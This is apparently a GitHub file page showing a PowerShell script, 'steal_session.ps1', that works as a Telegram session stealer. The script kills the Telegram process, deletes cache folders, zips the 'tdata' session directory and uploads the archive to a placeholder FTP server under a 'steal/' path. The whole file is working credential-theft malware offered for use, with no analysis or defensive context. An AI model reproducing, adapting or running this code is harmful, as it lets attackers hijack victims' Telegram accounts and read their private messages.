-
Notifications
You must be signed in to change notification settings - Fork 15
/
steal_session.ps1
61 lines (48 loc) · 1.98 KB
/
steal_session.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Stop and remove Telegram process
$processName = "telegram"
try {
if (Get-Process $processName -ErrorAction SilentlyContinue) {
Get-Process -Name $processName | Stop-Process
}
} catch {
# Write-Host "Something went wrong..."
}
# Remove Telegram data folders
$userName = $env:USERNAME
$userDataPath = "C:\Users\$userName\AppData\Roaming\Telegram Desktop\tdata\user_data"
$emojiPath = "C:\Users\$userName\AppData\Roaming\Telegram Desktop\tdata\emoji"
try {
Remove-Item $userDataPath -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item $emojiPath -Recurse -Force -ErrorAction SilentlyContinue
} catch {
# Write-Host "Something went wrong..."
}
# Compress Telegram data folder
$sourceFolder = "C:\Users\$userName\AppData\Roaming\Telegram Desktop\tdata"
$zipFile = "C:\Users\$userName\AppData\Roaming\Telegram Desktop\tdata.zip"
$maxSize = 50 * 1MB # Convert to bytes
if (Test-Path $zipFile) {
Remove-Item $zipFile
}
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($sourceFolder, $zipFile, "Optimal", $false)
Get-ChildItem $zipFile | Where-Object { $_.Length -gt $maxSize } | ForEach-Object {
Write-Host "Removing $($_.FullName)..."
Remove-Item $_.FullName
}
# Upload compressed data to FTP server
$dateString = Get-Date -Format "yyyyMMdd_HHmmss"
$ftpServer = "your_ftp_server"
$ftpUsername = "xxxx"
$ftpPassword = "yyyy"
$localFilePath = $zipFile
$remoteFilePath = "steal/$dateString.zip"
$ftpRequest = [System.Net.FtpWebRequest]::Create("ftp://$ftpServer/$remoteFilePath")
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$ftpRequest.Credentials = New-Object System.Net.NetworkCredential($ftpUsername, $ftpPassword)
# read the file from local machine
$fileContents = [System.IO.File]::ReadAllBytes($localFilePath)
# upload the file to the remote server
$requestStream = $ftpRequest.GetRequestStream()
$requestStream.Write($fileContents, 0, $fileContents.Length)
$requestStream.Close()